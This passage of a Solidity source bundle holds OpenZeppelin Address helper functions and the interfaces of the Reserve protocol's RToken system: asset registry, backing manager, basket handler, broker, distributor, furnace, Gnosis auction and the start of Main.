revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
},
"contracts/interfaces/IAsset.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IMain.sol\";\nimport \"./IRewardable.sol\";\n\n// Not used directly in the IAsset interface, but used by many consumers to save stack space\nstruct Price {\n uint192 low; // {UoA/tok}\n uint192 high; // {UoA/tok}\n}\n\n/**\n * @title IAsset\n * @notice Supertype. Any token that interacts with our system must be wrapped in an asset,\n * whether it is used as RToken backing or not. Any token that can report a price in the UoA\n * is eligible to be an asset.\n */\ninterface IAsset is IRewardable {\n /// Refresh saved price\n /// The Reserve protocol calls this at least once per transaction, before relying on\n /// the Asset's other functions.\n /// @dev Called immediately after deployment, before use\n function refresh() external;\n\n /// Should not revert\n /// low should be nonzero if the asset could be worth selling\n /// @return low {UoA/tok} The lower end of the price estimate\n /// @return high {UoA/tok} The upper end of the price estimate\n function price() external view returns (uint192 low, uint192 high);\n\n /// Should not revert\n /// lotLow should be nonzero when the asset might be worth selling\n /// @dev Deprecated. Phased out in 3.1.0, but left on interface for backwards compatibility\n /// @return lotLow {UoA/tok} The lower end of the lot price estimate\n /// @return lotHigh {UoA/tok} The upper end of the lot price estimate\n function lotPrice() external view returns (uint192 lotLow, uint192 lotHigh);\n\n /// @return {tok} The balance of the ERC20 in whole tokens\n function bal(address account) external view returns (uint192);\n\n /// @return The ERC20 contract of the token with decimals() available\n function erc20() external view returns (IERC20Metadata);\n\n /// @return The number of decimals in the ERC20; just for gas optimization\n function erc20Decimals() external view returns (uint8);\n\n /// @return If the asset is an instance of ICollateral or not\n function isCollateral() external view returns (bool);\n\n /// @return {UoA} The max trade volume, in UoA\n function maxTradeVolume() external view returns (uint192);\n\n /// @return {s} The timestamp of the last refresh() that saved prices\n function lastSave() external view returns (uint48);\n}\n\n// Used only in Testing. Strictly speaking an Asset does not need to adhere to this interface\ninterface TestIAsset is IAsset {\n /// @return The address of the chainlink feed\n function chainlinkFeed() external view returns (AggregatorV3Interface);\n\n /// {1} The max % deviation allowed by the oracle\n function oracleError() external view returns (uint192);\n\n /// @return {s} Seconds that an oracle value is considered valid\n function oracleTimeout() external view returns (uint48);\n\n /// @return {s} The maximum of all oracle timeouts on the plugin\n function maxOracleTimeout() external view returns (uint48);\n\n /// @return {s} Seconds that the price() should decay over, after stale price\n function priceTimeout() external view returns (uint48);\n\n /// @return {UoA/tok} The last saved low price\n function savedLowPrice() external view returns (uint192);\n\n /// @return {UoA/tok} The last saved high price\n function savedHighPrice() external view returns (uint192);\n}\n\n/// CollateralStatus must obey a linear ordering. That is:\n/// - being DISABLED is worse than being IFFY, or SOUND\n/// - being IFFY is worse than being SOUND.\nenum CollateralStatus {\n SOUND,\n IFFY, // When a peg is not holding or a chainlink feed is stale\n DISABLED // When the collateral has completely defaulted\n}\n\n/// Upgrade-safe maximum operator for CollateralStatus\nlibrary CollateralStatusComparator {\n /// @return Whether a is worse than b\n function worseThan(CollateralStatus a, CollateralStatus b) internal pure returns (bool) {\n return uint256(a) > uint256(b);\n }\n}\n\n/**\n * @title ICollateral\n * @notice A subtype of Asset that consists of the tokens eligible to back the RToken.\n */\ninterface ICollateral is IAsset {\n /// Emitted whenever the collateral status is changed\n /// @param newStatus The old CollateralStatus\n /// @param newStatus The updated CollateralStatus\n event CollateralStatusChanged(\n CollateralStatus indexed oldStatus,\n CollateralStatus indexed newStatus\n );\n\n /// @dev refresh()\n /// Refresh exchange rates and update default status.\n /// VERY IMPORTANT: In any valid implemntation, status() MUST become DISABLED in refresh() if\n /// refPerTok() has ever decreased since last call.\n\n /// @return The canonical name of this collateral's target unit.\n function targetName() external view returns (bytes32);\n\n /// @return The status of this collateral asset. (Is it defaulting? Might it soon?)\n function status() external view returns (CollateralStatus);\n\n // ==== Exchange Rates ====\n\n /// @return {ref/tok} Quantity of whole reference units per whole collateral tokens\n function refPerTok() external view returns (uint192);\n\n /// @return {target/ref} Quantity of whole target units per whole reference unit in the peg\n function targetPerRef() external view returns (uint192);\n}\n\n// Used only in Testing. Strictly speaking a Collateral does not need to adhere to this interface\ninterface TestICollateral is TestIAsset, ICollateral {\n /// @return The epoch timestamp when the collateral will default from IFFY to DISABLED\n function whenDefault() external view returns (uint256);\n\n /// @return The amount of time a collateral must be in IFFY status until being DISABLED\n function delayUntilDefault() external view returns (uint48);\n\n /// @return The underlying refPerTok, likely not included in all collaterals however.\n function underlyingRefPerTok() external view returns (uint192);\n}\n"
},
"contracts/interfaces/IAssetRegistry.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\n\n/// A serialization of the AssetRegistry to be passed around in the P1 impl for gas optimization\nstruct Registry {\n IERC20[] erc20s;\n IAsset[] assets;\n}\n\n/**\n * @title IAssetRegistry\n * @notice The AssetRegistry is in charge of maintaining the ERC20 tokens eligible\n * to be handled by the rest of the system. If an asset is in the registry, this means:\n * 1. Its ERC20 contract has been vetted\n * 2. The asset is the only asset for that ERC20\n * 3. The asset can be priced in the UoA, usually via an oracle\n */\ninterface IAssetRegistry is IComponent {\n /// Emitted when an asset is added to the registry\n /// @param erc20 The ERC20 contract for the asset\n /// @param asset The asset contract added to the registry\n event AssetRegistered(IERC20 indexed erc20, IAsset indexed asset);\n\n /// Emitted when an asset is removed from the registry\n /// @param erc20 The ERC20 contract for the asset\n /// @param asset The asset contract removed from the registry\n event AssetUnregistered(IERC20 indexed erc20, IAsset indexed asset);\n\n // Initialization\n function init(IMain main_, IAsset[] memory assets_) external;\n\n /// Fully refresh all asset state\n /// @custom:refresher\n function refresh() external;\n\n /// Register `asset`\n /// If either the erc20 address or the asset was already registered, fail\n /// @return true if the erc20 address was not already registered.\n /// @custom:governance\n function register(IAsset asset) external returns (bool);\n\n /// Register `asset` if and only if its erc20 address is already registered.\n /// If the erc20 address was not registered, revert.\n /// @return swapped If the asset was swapped for a previously-registered asset\n /// @custom:governance\n function swapRegistered(IAsset asset) external returns (bool swapped);\n\n /// Unregister an asset, requiring that it is already registered\n /// @custom:governance\n function unregister(IAsset asset) external;\n\n /// @return {s} The timestamp of the last refresh\n function lastRefresh() external view returns (uint48);\n\n /// @return The corresponding asset for ERC20, or reverts if not registered\n function toAsset(IERC20 erc20) external view returns (IAsset);\n\n /// @return The corresponding collateral, or reverts if unregistered or not collateral\n function toColl(IERC20 erc20) external view returns (ICollateral);\n\n /// @return If the ERC20 is registered\n function isRegistered(IERC20 erc20) external view returns (bool);\n\n /// @return A list of all registered ERC20s\n function erc20s() external view returns (IERC20[] memory);\n\n /// @return reg The list of registered ERC20s and Assets, in the same order\n function getRegistry() external view returns (Registry memory reg);\n\n /// @return The number of registered ERC20s\n function size() external view returns (uint256);\n}\n"
},
"contracts/interfaces/IBackingManager.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IAssetRegistry.sol\";\nimport \"./IBasketHandler.sol\";\nimport \"./IBroker.sol\";\nimport \"./IComponent.sol\";\nimport \"./IRToken.sol\";\nimport \"./IStRSR.sol\";\nimport \"./ITrading.sol\";\n\n/// Memory struct for RecollateralizationLibP1 + RTokenAsset\n/// Struct purposes:\n/// 1. Configure trading\n/// 2. Stay under stack limit with fewer vars\n/// 3. Cache information such as component addresses and basket quantities, to save on gas\nstruct TradingContext {\n BasketRange basketsHeld; // {BU}\n // basketsHeld.top is the number of partial baskets units held\n // basketsHeld.bottom is the number of full basket units held\n\n // Components\n IBasketHandler bh;\n IAssetRegistry ar;\n IStRSR stRSR;\n IERC20 rsr;\n IRToken rToken;\n // Gov Vars\n uint192 minTradeVolume; // {UoA}\n uint192 maxTradeSlippage; // {1}\n // Cached values\n uint192[] quantities; // {tok/BU} basket quantities\n uint192[] bals; // {tok} balances in BackingManager + out on trades\n}\n\n/**\n * @title IBackingManager\n * @notice The BackingManager handles changes in the ERC20 balances that back an RToken.\n * - It computes which trades to perform, if any, and initiates these trades with the Broker.\n * - rebalance()\n * - If already collateralized, excess assets are transferred to RevenueTraders.\n * - forwardRevenue(IERC20[] calldata erc20s)\n */\ninterface IBackingManager is IComponent, ITrading {\n /// Emitted when the trading delay is changed\n /// @param oldVal The old trading delay\n /// @param newVal The new trading delay\n event TradingDelaySet(uint48 oldVal, uint48 newVal);\n\n /// Emitted when the backing buffer is changed\n /// @param oldVal The old backing buffer\n /// @param newVal The new backing buffer\n event BackingBufferSet(uint192 oldVal, uint192 newVal);\n\n // Initialization\n function init(\n IMain main_,\n uint48 tradingDelay_,\n uint192 backingBuffer_,\n uint192 maxTradeSlippage_,\n uint192 minTradeVolume_\n ) external;\n\n // Give RToken max allowance over a registered token\n /// @custom:refresher\n /// @custom:interaction\n function grantRTokenAllowance(IERC20) external;\n\n /// Apply the overall backing policy using the specified TradeKind, taking a haircut if unable\n /// @param kind TradeKind.DUTCH_AUCTION or TradeKind.BATCH_AUCTION\n /// @custom:interaction RCEI\n function rebalance(TradeKind kind) external;\n\n /// Forward revenue to RevenueTraders; reverts if not fully collateralized\n /// @param erc20s The tokens to forward\n /// @custom:interaction RCEI\n function forwardRevenue(IERC20[] calldata erc20s) external;\n\n /// Structs for trading\n /// @param basketsHeld The number of baskets held by the BackingManager\n /// @return ctx The TradingContext\n /// @return reg Contents of AssetRegistry.getRegistry()\n function tradingContext(BasketRange memory basketsHeld)\n external\n view\n returns (TradingContext memory ctx, Registry memory reg);\n}\n\ninterface TestIBackingManager is IBackingManager, TestITrading {\n function tradingDelay() external view returns (uint48);\n\n function backingBuffer() external view returns (uint192);\n\n function setTradingDelay(uint48 val) external;\n\n function setBackingBuffer(uint192 val) external;\n}\n"
},
"contracts/interfaces/IBasketHandler.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\n\nstruct BasketRange {\n uint192 bottom; // {BU}\n uint192 top; // {BU}\n}\n\n/**\n * @title IBasketHandler\n * @notice The BasketHandler aims to maintain a reference basket of constant target unit amounts.\n * When a collateral token defaults, a new reference basket of equal target units is set.\n * When _all_ collateral tokens default for a target unit, only then is the basket allowed to fall\n * in terms of target unit amounts. The basket is considered defaulted in this case.\n */\ninterface IBasketHandler is IComponent {\n /// Emitted when the prime basket is set\n /// @param erc20s The collateral tokens for the prime basket\n /// @param targetAmts {target/BU} A list of quantities of target unit per basket unit\n /// @param targetNames Each collateral token's targetName\n event PrimeBasketSet(IERC20[] erc20s, uint192[] targetAmts, bytes32[] targetNames);\n\n /// Emitted when the reference basket is set\n /// @param nonce {basketNonce} The basket nonce\n /// @param erc20s The list of collateral tokens in the reference basket\n /// @param refAmts {ref/BU} The reference amounts of the basket collateral tokens\n /// @param disabled True when the list of erc20s + refAmts may not be correct\n event BasketSet(uint256 indexed nonce, IERC20[] erc20s, uint192[] refAmts, bool disabled);\n\n /// Emitted when a backup config is set for a target unit\n /// @param targetName The name of the target unit as a bytes32\n /// @param max The max number to use from `erc20s`\n /// @param erc20s The set of backup collateral tokens\n event BackupConfigSet(bytes32 indexed targetName, uint256 max, IERC20[] erc20s);\n\n /// Emitted when the warmup period is changed\n /// @param oldVal The old warmup period\n /// @param newVal The new warmup period\n event WarmupPeriodSet(uint48 oldVal, uint48 newVal);\n\n /// Emitted when the status of a basket has changed\n /// @param oldStatus The previous basket status\n /// @param newStatus The new basket status\n event BasketStatusChanged(CollateralStatus oldStatus, CollateralStatus newStatus);\n\n /// Emitted when the last basket nonce available for redemption is changed\n /// @param oldVal The old value of lastCollateralized\n /// @param newVal The new value of lastCollateralized\n event LastCollateralizedChanged(uint48 oldVal, uint48 newVal);\n\n // Initialization\n function init(\n IMain main_,\n uint48 warmupPeriod_,\n bool reweightable_\n ) external;\n\n /// Set the prime basket\n /// For an index RToken (reweightable = true), use forceSetPrimeBasket to skip normalization\n /// @param erc20s The collateral tokens for the new prime basket\n /// @param targetAmts The target amounts (in) {target/BU} for the new prime basket\n /// required range: 1e9 values; absolute range irrelevant.\n /// @custom:governance\n function setPrimeBasket(IERC20[] calldata erc20s, uint192[] calldata targetAmts) external;\n\n /// Set the prime basket without normalizing targetAmts by the UoA of the current basket\n /// Works the same as setPrimeBasket for non-index RTokens (reweightable = false)\n /// @param erc20s The collateral tokens for the new prime basket\n /// @param targetAmts The target amounts (in) {target/BU} for the new prime basket\n /// required range: 1e9 values; absolute range irrelevant.\n /// @custom:governance\n function forceSetPrimeBasket(IERC20[] calldata erc20s, uint192[] calldata targetAmts) external;\n\n /// Set the backup configuration for a given target\n /// @param targetName The name of the target as a bytes32\n /// @param max The maximum number of collateral tokens to use from this target\n /// Required range: 1-255\n /// @param erc20s A list of ordered backup collateral tokens\n /// @custom:governance\n function setBackupConfig(\n bytes32 targetName,\n uint256 max,\n IERC20[] calldata erc20s\n ) external;\n\n /// Default the basket in order to schedule a basket refresh\n /// @custom:protected\n function disableBasket() external;\n\n /// Governance-controlled setter to cause a basket switch explicitly\n /// @custom:governance\n /// @custom:interaction\n function refreshBasket() external;\n\n /// Track the basket status changes\n /// @custom:refresher\n function trackStatus() external;\n\n /// Track when last collateralized\n /// @custom:refresher\n function trackCollateralization() external;\n\n /// @return If the BackingManager has sufficient collateral to redeem the entire RToken supply\n function fullyCollateralized() external view returns (bool);\n\n /// @return status The worst CollateralStatus of all collateral in the basket\n function status() external view returns (CollateralStatus status);\n\n /// @return If the basket is ready to issue and trade\n function isReady() external view returns (bool);\n\n /// @param erc20 The ERC20 token contract for the asset\n /// @return {tok/BU} The whole token quantity of token in the reference basket\n /// Returns 0 if erc20 is not registered or not in the basket\n /// Returns FIX_MAX (in lieu of +infinity) if Collateral.refPerTok() is 0.\n /// Otherwise, returns (token's basket.refAmts / token's Collateral.refPerTok())\n function quantity(IERC20 erc20) external view returns (uint192);\n\n /// Like quantity(), but unsafe because it DOES NOT CONFIRM THAT THE ASSET IS CORRECT\n /// @param erc20 The ERC20 token contract for the asset\n /// @param asset The registered asset plugin contract for the erc20\n /// @return {tok/BU} The whole token quantity of token in the reference basket\n /// Returns 0 if erc20 is not registered or not in the basket\n /// Returns FIX_MAX (in lieu of +infinity) if Collateral.refPerTok() is 0.\n /// Otherwise, returns (token's basket.refAmts / token's Collateral.refPerTok())\n function quantityUnsafe(IERC20 erc20, IAsset asset) external view returns (uint192);\n\n /// @param amount {BU}\n /// @return erc20s The addresses of the ERC20 tokens in the reference basket\n /// @return quantities {qTok} The quantity of each ERC20 token to issue `amount` baskets\n function quote(uint192 amount, RoundingMode rounding)\n external\n view\n returns (address[] memory erc20s, uint256[] memory quantities);\n\n /// Return the redemption value of `amount` BUs for a linear combination of historical baskets\n /// @param basketNonces An array of basket nonces to do redemption from\n /// @param portions {1} An array of Fix quantities that must add up to FIX_ONE\n /// @param amount {BU}\n /// @return erc20s The backing collateral erc20s\n /// @return quantities {qTok} ERC20 token quantities equal to `amount` BUs\n function quoteCustomRedemption(\n uint48[] memory basketNonces,\n uint192[] memory portions,\n uint192 amount\n ) external view returns (address[] memory erc20s, uint256[] memory quantities);\n\n /// @return top {BU} The number of partial basket units: e.g max(coll.map((c) => c.balAsBUs())\n /// bottom {BU} The number of whole basket units held by the account\n function basketsHeldBy(address account) external view returns (BasketRange memory);\n\n /// Should not revert\n /// low should be nonzero when BUs are worth selling\n /// @return low {UoA/BU} The lower end of the price estimate\n /// @return high {UoA/BU} The upper end of the price estimate\n function price() external view returns (uint192 low, uint192 high);\n\n /// Should not revert\n /// lotLow should be nonzero if a BU could be worth selling\n /// @dev Deprecated. Phased out in 3.1.0, but left on interface for backwards compatibility\n /// @return lotLow {UoA/tok} The lower end of the lot price estimate\n /// @return lotHigh {UoA/tok} The upper end of the lot price estimate\n function lotPrice() external view returns (uint192 lotLow, uint192 lotHigh);\n\n /// @return timestamp The timestamp at which the basket was last set\n function timestamp() external view returns (uint48);\n\n /// @return The current basket nonce, regardless of status\n function nonce() external view returns (uint48);\n}\n\ninterface TestIBasketHandler is IBasketHandler {\n function warmupPeriod() external view returns (uint48);\n\n function setWarmupPeriod(uint48 val) external;\n}\n"
},
"contracts/interfaces/IBroker.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\nimport \"./IGnosis.sol\";\nimport \"./ITrade.sol\";\n\nenum TradeKind {\n DUTCH_AUCTION,\n BATCH_AUCTION\n}\n\n/// Cache of all prices for a pair to prevent re-lookup\nstruct TradePrices {\n uint192 sellLow; // {UoA/sellTok} can be 0\n uint192 sellHigh; // {UoA/sellTok} should not be 0\n uint192 buyLow; // {UoA/buyTok} should not be 0\n uint192 buyHigh; // {UoA/buyTok} should not be 0 or FIX_MAX\n}\n\n/// The data format that describes a request for trade with the Broker\nstruct TradeRequest {\n IAsset sell;\n IAsset buy;\n uint256 sellAmount; // {qSellTok}\n uint256 minBuyAmount; // {qBuyTok}\n}\n\n/**\n * @title IBroker\n * @notice The Broker deploys oneshot Trade contracts for Traders and monitors\n * the continued proper functioning of trading platforms.\n */\ninterface IBroker is IComponent {\n event GnosisSet(IGnosis oldVal, IGnosis newVal);\n event BatchTradeImplementationSet(ITrade oldVal, ITrade newVal);\n event DutchTradeImplementationSet(ITrade oldVal, ITrade newVal);\n event BatchAuctionLengthSet(uint48 oldVal, uint48 newVal);\n event DutchAuctionLengthSet(uint48 oldVal, uint48 newVal);\n event BatchTradeDisabledSet(bool prevVal, bool newVal);\n event DutchTradeDisabledSet(IERC20Metadata indexed erc20, bool prevVal, bool newVal);\n\n // Initialization\n function init(\n IMain main_,\n IGnosis gnosis_,\n ITrade batchTradeImplemention_,\n uint48 batchAuctionLength_,\n ITrade dutchTradeImplemention_,\n uint48 dutchAuctionLength_\n ) external;\n\n /// Request a trade from the broker\n /// @dev Requires setting an allowance in advance\n /// @custom:interaction\n function openTrade(\n TradeKind kind,\n TradeRequest memory req,\n TradePrices memory prices\n ) external returns (ITrade);\n\n /// Only callable by one of the trading contracts the broker deploys\n function reportViolation() external;\n\n function batchTradeDisabled() external view returns (bool);\n\n function dutchTradeDisabled(IERC20Metadata erc20) external view returns (bool);\n}\n\ninterface TestIBroker is IBroker {\n function gnosis() external view returns (IGnosis);\n\n function batchTradeImplementation() external view returns (ITrade);\n\n function dutchTradeImplementation() external view returns (ITrade);\n\n function batchAuctionLength() external view returns (uint48);\n\n function dutchAuctionLength() external view returns (uint48);\n\n function setGnosis(IGnosis newGnosis) external;\n\n function setBatchTradeImplementation(ITrade newTradeImplementation) external;\n\n function setBatchAuctionLength(uint48 newAuctionLength) external;\n\n function setDutchTradeImplementation(ITrade newTradeImplementation) external;\n\n function setDutchAuctionLength(uint48 newAuctionLength) external;\n\n function enableBatchTrade() external;\n\n function enableDutchTrade(IERC20Metadata erc20) external;\n\n // only present on pre-3.0.0 Brokers; used by EasyAuction regression test\n function disabled() external view returns (bool);\n}\n"
},
"contracts/interfaces/IComponent.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./IMain.sol\";\nimport \"./IVersioned.sol\";\n\n/**\n * @title IComponent\n * @notice A Component is the central building block of all our system contracts. Components\n * contain important state that must be migrated during upgrades, and they delegate\n * their ownership to Main's owner.\n */\ninterface IComponent is IVersioned {\n function main() external view returns (IMain);\n}\n"
},
"contracts/interfaces/IDistributor.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IComponent.sol\";\n\nuint256 constant MAX_DISTRIBUTION = 1e4; // 10,000\nuint8 constant MAX_DESTINATIONS = 100; // maximum number of RevenueShare destinations\n\nstruct RevenueShare {\n uint16 rTokenDist; // {revShare} A value between [0, 10,000]\n uint16 rsrDist; // {revShare} A value between [0, 10,000]\n}\n\n/// Assumes no more than 100 independent distributions.\nstruct RevenueTotals {\n uint24 rTokenTotal; // {revShare}\n uint24 rsrTotal; // {revShare}\n}\n\n/**\n * @title IDistributor\n * @notice The Distributor Component maintains a revenue distribution table that dictates\n * how to divide revenue across the Furnace, StRSR, and any other destinations.\n */\ninterface IDistributor is IComponent {\n /// Emitted when a distribution is set\n /// @param dest The address set to receive the distribution\n /// @param rTokenDist The distribution of RToken that should go to `dest`\n /// @param rsrDist The distribution of RSR that should go to `dest`\n event DistributionSet(address indexed dest, uint16 rTokenDist, uint16 rsrDist);\n\n /// Emitted when revenue is distributed\n /// @param erc20 The token being distributed, either RSR or the RToken itself\n /// @param source The address providing the revenue\n /// @param amount The amount of the revenue\n event RevenueDistributed(IERC20 indexed erc20, address indexed source, uint256 amount);\n\n // Initialization\n function init(IMain main_, RevenueShare memory dist) external;\n\n /// @custom:governance\n function setDistribution(address dest, RevenueShare memory share) external;\n\n /// Distribute the `erc20` token across all revenue destinations\n /// Only callable by RevenueTraders\n /// @custom:protected\n function distribute(IERC20 erc20, uint256 amount) external;\n\n /// @return revTotals The total of all destinations\n function totals() external view returns (RevenueTotals memory revTotals);\n}\n\ninterface TestIDistributor is IDistributor {\n // solhint-disable-next-line func-name-mixedcase\n function FURNACE() external view returns (address);\n\n // solhint-disable-next-line func-name-mixedcase\n function ST_RSR() external view returns (address);\n\n /// @return rTokenDist The RToken distribution for the address\n /// @return rsrDist The RSR distribution for the address\n function distribution(address) external view returns (uint16 rTokenDist, uint16 rsrDist);\n}\n"
},
"contracts/interfaces/IFurnace.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"../libraries/Fixed.sol\";\nimport \"./IComponent.sol\";\n\n/**\n * @title IFurnace\n * @notice A helper contract to burn RTokens slowly and permisionlessly.\n */\ninterface IFurnace is IComponent {\n // Initialization\n function init(IMain main_, uint192 ratio_) external;\n\n /// Emitted when the melting ratio is changed\n /// @param oldRatio The old ratio\n /// @param newRatio The new ratio\n event RatioSet(uint192 oldRatio, uint192 newRatio);\n\n function ratio() external view returns (uint192);\n\n /// Needed value range: [0, 1], granularity 1e-9\n /// @custom:governance\n function setRatio(uint192) external;\n\n /// Performs any RToken melting that has vested since the last payout.\n /// @custom:refresher\n function melt() external;\n}\n\ninterface TestIFurnace is IFurnace {\n function lastPayout() external view returns (uint256);\n\n function lastPayoutBal() external view returns (uint256);\n}\n"
},
"contracts/interfaces/IGnosis.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\nstruct GnosisAuctionData {\n IERC20 auctioningToken;\n IERC20 biddingToken;\n uint256 orderCancellationEndDate;\n uint256 auctionEndDate;\n bytes32 initialAuctionOrder;\n uint256 minimumBiddingAmountPerOrder;\n uint256 interimSumBidAmount;\n bytes32 interimOrder;\n bytes32 clearingPriceOrder;\n uint96 volumeClearingPriceOrder;\n bool minFundingThresholdNotReached;\n bool isAtomicClosureAllowed;\n uint256 feeNumerator;\n uint256 minFundingThreshold;\n}\n\n/// The relevant portion of the interface of the live Gnosis EasyAuction contract\n/// https://github.com/gnosis/ido-contracts/blob/main/contracts/EasyAuction.sol\ninterface IGnosis {\n function initiateAuction(\n IERC20 auctioningToken,\n IERC20 biddingToken,\n uint256 orderCancellationEndDate,\n uint256 auctionEndDate,\n uint96 auctionedSellAmount,\n uint96 minBuyAmount,\n uint256 minimumBiddingAmountPerOrder,\n uint256 minFundingThreshold,\n bool isAtomicClosureAllowed,\n address accessManagerContract,\n bytes memory accessManagerContractData\n ) external returns (uint256 auctionId);\n\n function auctionData(uint256 auctionId) external view returns (GnosisAuctionData memory);\n\n /// @param auctionId The external auction id\n /// @dev See here for decoding: https://git.io/JMang\n /// @return encodedOrder The order, encoded in a bytes 32\n function settleAuction(uint256 auctionId) external returns (bytes32 encodedOrder);\n\n /// @return The numerator over a 1000-valued denominator\n function feeNumerator() external returns (uint256);\n}\n"
},
"contracts/interfaces/IMain.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IAssetRegistry.sol\";\nimport \"./IBasketHandler.sol\";\nimport \"./IBackingManager.sol\";\nimport \"./IBroker.sol\";\nimport \"./IGnosis.sol\";\nimport \"./IFurnace.sol\";\nimport \"./IDistributor.sol\";\nimport \"./IRToken.sol\";\nimport \"./IRevenueTrader.sol\";\nimport \"./IStRSR.sol\";\nimport \"./ITrading.sol\";\nimport \"./IVersioned.sol\";\n\n// === Auth roles ===\n\nbytes32 constant OWNER = bytes32(bytes(\"OWNER\"));\nbytes32 constant SHORT_FREEZER = bytes32(bytes(\"SHORT_FREEZER\"));\nbytes32 constant LONG_FREEZER = bytes32(bytes(\"LONG_FREEZER\"));\nbytes32 constant PAUSER = bytes32(bytes(\"PAUSER\"));\n\n/**\n * Main is a central hub that maintains a list of Component contracts.\n *\n * Components:\n * - perform a specific function\n * - defer auth to Main\n * - usually (but not always) contain sizeable state that require a proxy\n */\nstruct Components {\n // Definitely need proxy\n IRToken rToken;\n IStRSR stRSR;\n IAssetRegistry assetRegistry;\n IBasketHandler basketHandler;\n IBackingManager backingManager;\n IDistributor distributor;\n IFurnace furnace;\n IBroker broker;\n IRevenueTrader rsrTrader;\n IRevenueTrader rTokenTrader;\n}\n\ninterface IAuth is IAccessControlUpgradeable {\n /// Emitted when `unfreezeAt` is changed\n /// @param oldVal The old value of `unfreezeAt`\n /// @param newVal The new value of `unfreezeAt`\n event UnfreezeAtSet(uint48 oldVal, uint48 newVal);\n\n /// Emitted when the short freeze duration governance param is changed\n /// @param oldDuration The old short freeze duration\n /// @param newDuration The new short freeze duration\n 